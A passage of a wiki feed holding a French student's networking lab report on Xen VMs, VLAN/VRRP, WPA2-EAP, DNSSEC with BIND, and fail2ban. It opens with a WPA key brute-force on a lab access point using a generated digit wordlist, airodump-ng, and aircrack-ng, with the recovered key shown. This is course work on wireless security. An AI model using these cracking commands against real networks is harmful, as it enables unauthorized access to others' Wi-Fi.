        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Création du Vlan24''' avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc '''incomplète''' et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12353</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12353"/>
		<updated>2026-02-23T10:33:41Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Partie VLAN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
